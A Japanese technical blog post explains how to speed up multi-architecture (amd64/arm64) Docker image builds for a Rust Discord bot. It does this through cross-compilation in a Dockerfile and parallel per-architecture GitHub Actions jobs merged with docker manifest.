個人的にはこのbotは大変便利で恐らく今後もこのbotは育て続けると思う。いずれ最強のMinecraftBotとなっていただきたいですね。

Rust + GitHub Actionsでマルチアーキテクチャ対応のイメージをなるべく早く作る

マルチアーキテクチャ対応のイメージとは

詳しいことは書かないが、複数種類のアーキテクチャ上で実行できるイメージのことを指す。amd64 や arm64 など、異なる種類の環境でも docker run --rm hello-world として実行できるのはこれに対応しているため。

このようなビルドをGitHub Actionsで行いたくなるが、これがかなり遅い。

愚直にやると遅い

docker buildx build --platform linux/amd64,linux/arm64 -t naari3/testtest . のように実行すると、必要なタイミングでQEMUが起動して対象のアーキテクチャで実行してくれるんだけど、まあ勿論のように遅い。

Googleで調べてみると、遅くならないようにする工夫がいくつかヒットする。

Rustのクロスコンパイルを利用する

Rustは比較的簡単にクロスコンパイルができるので、これを利用したい。

ホストと異なるアーキテクチャを対象にビルドする場合であっても、ベースイメージはホストと同じアーキテクチャを選択することでQEMUの起動を回避することができる。↓こんな感じ

# linux/amd64の環境で docker buildx build --platform linux/arm64 としたとき
# BUILDPLATFORM = linux/amd64
# TARGETPLATFORM = linux/arm64
FROM --platform=$BUILDPLATFORM rust:1.60 as builder
# snip
RUN cargo build --release --target $TARGETPLATFORM

これを利用して、最近amd64とarm64向けのイメージをビルドするためのDockerfileを作る。

# ホストと同じアーキテクチャのイメージが使用される
FROM --platform=$BUILDPLATFORM rust:1.60 as builder

# arm64向けにリンカを入れておく。
RUN apt update -y && apt install llvm clang -y

# ここから依存ライブラリのためのレイヤーを用意する
RUN cargo new --bin app
WORKDIR /app

COPY ./Cargo.lock ./Cargo.lock
COPY ./Cargo.toml ./Cargo.toml

# リンカの指定
ENV CC_aarch64_unknown_linux_musl=clang
ENV AR_aarch64_unknown_linux_musl=llvm-ar
ENV CARGO_TARGET_AARCH64_UNKNOWN_LINUX_MUSL_RUSTFLAGS="-Clink-self-contained=yes -Clinker=rust-lld"

ENV CC_x86_64_unknown_linux_musl=clang
ENV AR_x86_64_unknown_linux_musl=llvm-ar
ENV CARGO_TARGET_X86_64_UNKNOWN_LINUX_MUSL_RUSTFLAGS="-Clink-self-contained=yes -Clinker=rust-lld"

# Docker側のアーキテクチャの名前とRust側のアーキテクチャの名前を対応付ける
ARG TARGETPLATFORM
RUN case "$TARGETPLATFORM" in \
  "linux/arm64") echo aarch64-unknown-linux-musl > /rust_target.txt ;; \
  "linux/amd64") echo x86_64-unknown-linux-musl > /rust_target.txt ;; \
  *) exit 1 ;; \
esac
RUN rustup target add $(cat /rust_target.txt)
RUN --mount=type=cache,target=/usr/local/cargo/registry \
    --mount=type=cache,target=/app/target \
    cargo build --release --target $(cat /rust_target.txt)
RUN rm src/*.rs

# 依存以外の実装のビルド
COPY ./src ./src
RUN touch ./src/main.rs
RUN --mount=type=cache,target=/usr/local/cargo/registry \
    --mount=type=cache,target=/app/target \
    cargo install --locked --path . --target $(cat /rust_target.txt)

# 実行時のイメージはplatformを指定しない(arm64向けのイメージが使用される)
FROM alpine
COPY --from=builder /usr/local/cargo/bin/app .
CMD ["./app"]

勿論規模にも依るが、雑なDiscord botを対象にしたアプリを手元のマシンでビルドした結果を下に並べている。QEMU経由でビルドする場合と比べ、28分ほど早くなった。

# qemu
$ docker buildx build --platform linux/arm64 -f Dockerfile.on-qemu -t test1 . --no-cache
[+] Building 1875.1s (17/17) FINISHED
$ docker buildx build --platform linux/arm64 -f Dockerfile -t test1 . --no-cache
[+] Building 182.6s (22/22) FINISHED

アーキテクチャごとにビルドを並列で実行する

GitHub Actionsなのでビルドを並列で実行したくなる。割り方としてはアーキテクチャ毎にビルドを走らせることが考えられる。実現方法としては、まず複数Jobで各アーキテクチャごとにイメージのbuild/pushを実行し、後続Jobで新規manifestを作成することで実現できる。

$ docker manifest create naari3/testtest:v1.0.0 naari3/testtest:v1.0.0-amd64 naari3/testtest:v1.0.0-arm64
$ docker manifest push naari3/testtest:v1.0.0

これについても雑なGitHub Actionsを作成し、別のJobから叩けるようにした。ただ、都合のためにghcr.ioのみを対象にしている。他のレジストリに対して投げたい場合は少し弄ればいけるはずなので、そのようにしてほしい。

workflows/build-multiarch-images-ghcr.yaml at main · naari3/workflows · GitHub

使用例。

name: build-image

on:
  release:
    types:
      - created

jobs:
  build:
    uses: naari3/workflows/.github/workflows/build-multiarch-images-ghcr.yaml@main
    with:
      tag_name: ${{ github.event.release.tag_name }}
      target_arch: linux/amd64,linux/arm64
    secrets:
      github-token: ${{ secrets.PERSONAL_ACCESS_TOKEN }}

これの作成にはいくつかのコツが必要だった。まず、複雑になるのでgoogle/zxを利用した。

GitHub Actionsはjobを跨ぐと別マシン相当での実行となるため、各ビルド後はイメージをリポジトリにpushしておく必要がある。でないとイメージにアクセスすることができないため。その後、RegistryのAPIを叩いて降ってきたタグ一覧からpushされているべきタグを集めて一つのmanifestを作成する。そしてこれを完成形としてpushしている。この手を取る場合、各アーキテクチャに限定されたイメージがpushされることになるが、自分は特に気にしないことで解決している。何か問題が思い当たるようになれば対処したいと思う。

ビルド時に渡された inputs を元に並列に実行するJob(matrixの構成)を決めているが、JSONの文字列を matrix に渡してやることでこれが実現できる。以下のようなイメージ。配列を作るためのjq力が試される。僕は一発では書けなかった。

      - id: matrix_targets
        run: |
          targets=$(echo ${{ inputs.target_arch }} | jq -sRc 'gsub("\n"; "")|split(",")')
          echo "::set-output name=value::$targets"

    strategy:
      fail-fast: false
      matrix:
        target: ${{ fromJSON(needs.info.outputs.matrix_targets) }}

publicなリポジトリなのにRegistry APIからタグ一覧を取得するのにPATが必要でたまげた。なにかもっと良い方法はないのだろうか。

とにかく、これでアーキテクチャごとの並列ビルドが実現できた。めでたしめでたし。

おわりに

今回、はじめてマルチアーキテクチャイメージを意識することになった。きっかけとしては、OCIのarm64サーバー上で動かすMinecraftのサーバーにDiscord用のbotを生やしたかったため。これについては後日詳しく書きたい→書いた。制作する側が少し頑張ることで、同じ名前のイメージが様々な環境で動くようになる、というのはとても良い仕組みだと思う。今後マルチアーキテクチャイメージを頑張る必要に駆られた場合には、この記事を思い出すことで対応したい。